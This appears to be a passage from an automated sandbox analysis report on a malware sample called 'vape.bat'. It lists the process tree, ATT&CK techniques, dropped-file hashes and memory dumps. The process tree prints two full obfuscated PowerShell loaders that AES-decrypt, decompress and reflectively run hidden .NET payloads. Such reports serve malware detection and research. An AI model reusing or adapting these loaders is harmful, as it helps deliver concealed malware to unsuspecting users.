        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3716).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3856
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{45079067-f275-4c2d-b065-bda534194d59}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1632
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2116

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2272

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2904

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2220

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3604

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vape.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2136
- - C:\Users\Admin\AppData\Local\Temp\vape.bat.exe
    "vape.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\vape.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{d4ee94cd-f81a-4407-a413-d8e2b70edf48}
      4⤵
      PID:2128
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{619423e7-add5-48b4-87f9-3f78506a5762}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3820

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2344

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3764

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4352

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4292

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:5012

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3348

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2280

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:4768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2168

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:3012

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:5004

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:2540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l44is2jm.yde.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\vape.bat.exe

Filesize
445KB

MD5
2e5a8590cf6848968fc23de3fa1e25f1

SHA1
801262e122db6a2e758962896f260b55bbd0136a

SHA256
9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3

SHA512
5c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
2b40c98ed0f7a1d3b091a3e8353132dc

SHA1
df79c86fdd11b9ccb89148458e509f879c72566c

SHA256
badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0

SHA512
80919a638e41547a4061ae1c9b1aeda2d2e4b3b5f0f22b9b5a1e9102d873b17ac2eaf99df02486c72b6a84dd6f7ba87b94ffccc6f8c34e271a6aea25099edc33

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
42KB

MD5
86f05e66502036db5b678b917e5d5b17

SHA1
18b5612d05fb0cf28e4976f6b51abc7462bbaf3b

SHA256
b6d1162285423aa7c623fc89492f2f1195de110f054c912f264e29644d65647f

SHA512
be192089c13c8a5aa9322a3da86aef2d987e274911b5526a8a2d8db5c92e717a4dcf0c16c1d69d95a173d5f90ae5569ef2b9ee7836992ef82a938efb62239ab4

Download Submit
memory/628-116-0x00007FFC04310000-0x00007FFC04320000-memory.dmp

Filesize
64KB

Download
memory/628-103-0x000001F9EA5D0000-0x000001F9EA5F7000-memory.dmp

Filesize
156KB

Download
memory/628-100-0x000001F9EA530000-0x000001F9EA552000-memory.dmp

Filesize
136KB

Download
memory/688-123-0x00007FFC04310000-0x00007FFC04320000-memory.dmp

Filesize
64KB

Download
memory/688-105-0x000001A610FD0000-0x000001A610FF7000-memory.dmp

Filesize
156KB

Download
memory/960-96-0x00000000013C0000-0x00000000013DA000-memory.dmp

Filesize
104KB

Download
memory/960-94-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/960-92-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/960-91-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/964-114-0x00007FFC04310000-0x00007FFC04320000-memory.dmp

Filesize
64KB

Download
memory/964-110-0x0000011CD0F60000-0x0000011CD0F87000-memory.dmp

Filesize
156KB

Download
memory/3096-38-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3096-40-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3716-85-0x00007FFC422D0000-0x00007FFC4238D000-memory.dmp

Filesize
756KB

Download
memory/3716-57-0x00007FFC44290000-0x00007FFC44488000-memory.dmp

Filesize
2.0MB

Download
memory/3716-86-0x00000270BE660000-0x00000270BE696000-memory.dmp

Filesize
216KB

Download
memory/3716-84-0x00007FFC44290000-0x00007FFC44488000-memory.dmp

Filesize
2.0MB

Download
memory/3716-83-0x00000270BE580000-0x00000270BE5CE000-memory.dmp

Filesize
312KB

Download
memory/3716-82-0x00000270BE620000-0x00000270BE65C000-memory.dmp

Filesize
240KB

Download
memory/3716-72-0x00000270BF530000-0x00000270BF6F2000-memory.dmp

Filesize
1.8MB

Download
memory/3716-71-0x00000270BE6E0000-0x00000270BE792000-memory.dmp

Filesize
712KB

Download
memory/3716-70-0x00000270BE5D0000-0x00000270BE620000-memory.dmp

Filesize
320KB

Download
memory/3716-63-0x00007FFC44290000-0x00007FFC44488000-memory.dmp

Filesize
2.0MB

Download
memory/3716-62-0x00000270BDFA0000-0x00000270BE052000-memory.dmp

Filesize
712KB

Download
memory/3716-61-0x00000270BDB60000-0x00000270BDF9E000-memory.dmp

Filesize
4.2MB

Download
memory/3716-60-0x00000270BD390000-0x00000270BDB5A000-memory.dmp

Filesize
7.8MB

Download
memory/3716-59-0x00000270BCE00000-0x00000270BD386000-memory.dmp

Filesize
5.5MB

Download
memory/3716-58-0x00007FFC422D0000-0x00007FFC4238D000-memory.dmp

Filesize
756KB

Download
memory/3732-41-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-30-0x0000013048BD0000-0x0000013048BF2000-memory.dmp

Filesize
136KB

Download
memory/3732-56-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-44-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-23-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-26-0x00000130638F0000-0x0000013063946000-memory.dmp

Filesize
344KB

Download
memory/3732-24-0x00000130645C0000-0x0000013064666000-memory.dmp

Filesize
664KB

Download
memory/3732-25-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-1-0x00007FFC253E3000-0x00007FFC253E5000-memory.dmp

Filesize
8KB

Download
memory/3732-11-0x0000013063580000-0x00000130635A2000-memory.dmp

Filesize
136KB

Download
memory/3732-34-0x0000013048BF0000-0x0000013048BFA000-memory.dmp

Filesize
40KB

Download
memory/3732-33-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-31-0x00007FFC44290000-0x00007FFC44488000-memory.dmp

Filesize
2.0MB

Download
memory/3732-17-0x00007FFC422D0000-0x00007FFC4238D000-memory.dmp

Filesize
756KB

Download
memory/3732-29-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-28-0x0000013064670000-0x00000130646C8000-memory.dmp

Filesize
352KB

Download
memory/3732-22-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-27-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-12-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-13-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-14-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-20-0x0000013063B70000-0x00000130645C0000-memory.dmp

Filesize
10.3MB

Download
memory/3732-19-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-18-0x00007FFC253E3000-0x00007FFC253E5000-memory.dmp

Filesize
8KB

Download
memory/3732-16-0x00007FFC44290000-0x00007FFC44488000-memory.dmp

Filesize
2.0MB

Download
memory/3732-21-0x00007FFC253E0000-0x00007FFC25EA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-15-0x0000013048BB0000-0x0000013048BD4000-memory.dmp

Filesize
144KB

Download
memory/4304-90-0x00007FFC422D0000-0x00007FFC4238D000-memory.dmp

Filesize
756KB

Download
memory/4304-98-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4304-89-0x00007FFC44290000-0x00007FFC44488000-memory.dmp

Filesize
2.0MB

Download
memory/4304-88-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4304-87-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4772-37-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4772-35-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download